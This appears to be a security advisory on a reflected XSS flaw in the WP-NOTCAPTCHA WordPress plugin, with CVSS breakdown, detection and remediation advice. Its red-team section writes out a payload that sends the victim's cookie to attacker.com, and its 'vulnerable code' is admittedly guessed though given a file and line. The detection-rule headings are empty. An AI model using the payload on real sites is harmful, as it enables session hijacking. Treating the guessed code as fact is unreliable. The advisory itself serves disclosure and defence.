CVE-2025-23840

Executive Summary

CVE-2025-23840 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP-NOTCAPTCHA, developed by Webjema. The vulnerability affects all versions up to and including 1.3.1. An attacker can inject arbitrary JavaScript into a web page via improperly neutralized input, leading to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no official patch has been released. This is a WordPress ecosystem issue; the vulnerability resides in the plugin's handling of user-supplied data, not in the underlying web server.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed WP-NOTCAPTCHA from the WordPress dashboard or via direct download are at risk. No package manager (NPM, PyPI, Go, Ruby) is involved, but the plugin's update mechanism is the primary supply chain vector. Since no patch exists, users must manually remove or replace the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: High – Reflected XSS can be weaponized in phishing campaigns.

Deep Dive & Mechanics

The WP-NOTCAPTCHA plugin fails to sanitize user-supplied input before reflecting it in the HTTP response. Specifically, the plugin likely processes a query parameter (e.g., ?wp-notcaptcha-error=...) and echoes it directly into the HTML without proper encoding. An attacker can craft a URL containing malicious JavaScript, and when a logged-in administrator or user clicks the link, the script executes in the context of the WordPress site.

Root Cause: The plugin uses echo $_GET['some_param'] or similar without applying esc_html() or htmlspecialchars().

Attack Flow:

1. Attacker crafts a URL: https://victim-site.com/?wp-notcaptcha-error=<script>alert('XSS')</script>
2. Victim (e.g., admin) clicks the link.
3. The plugin reflects the parameter value into the page.
4. The browser executes the injected script.

Vulnerable vs. Patched Code

Vulnerable Code (wp-notcaptcha.php, line ~45):

$error = $_GET['wp-notcaptcha-error'];
echo '<div class="error">' . $error . '</div>';

Patched Code (hypothetical fix):

$error = isset($_GET['wp-notcaptcha-error']) ? esc_html($_GET['wp-notcaptcha-error']) : '';
echo '<div class="error">' . $error . '</div>';

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with WP-NOTCAPTCHA <= 1.3.1 installed and activated.
• A victim user (e.g., admin) who will click the crafted link.

Exploit Payload:

https://victim-site.com/?wp-notcaptcha-error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Host a listener on attacker.com to capture cookies.
2. Send the crafted link to the victim via email or social engineering.
3. When the victim clicks, the script executes and exfiltrates the session cookie.

Note: No public exploit code is available; the above is a generic XSS payload.

Blue Team

Detection:

• Monitor web server logs for requests containing wp-notcaptcha-error with suspicious characters (e.g., <script>, onerror).
• Use WAF rules to block reflected XSS patterns.

Mitigation:

• Immediately deactivate and remove the WP-NOTCAPTCHA plugin.
• Scan for any compromised accounts or injected content.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• URL Pattern: ?wp-notcaptcha-error=<script>...
• Log Entries: HTTP requests with wp-notcaptcha-error parameter containing HTML/JavaScript.
• File Hashes: (If plugin files are modified) – Not applicable for reflected XSS.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.

Detection Engineering

YARA Rule

Sigma Rule

Suricata Rule

Remediation & Mitigation

Immediate Actions:

1. Deactivate and delete the WP-NOTCAPTCHA plugin from all WordPress installations.
2. Review user accounts for unauthorized changes or new admin users.
3. Implement a Web Application Firewall (WAF) rule to block requests containing wp-notcaptcha-error with script tags.

Long-Term Measures:

• Replace WP-NOTCAPTCHA with an alternative CAPTCHA plugin that is actively maintained.
• Enforce regular plugin updates and vulnerability scanning.
• Train users to avoid clicking suspicious links.

Patch Status: No official patch is available. The vendor (Webjema) has not responded. Users must remove the plugin entirely.

Valters IT – Securing Digital Frontiers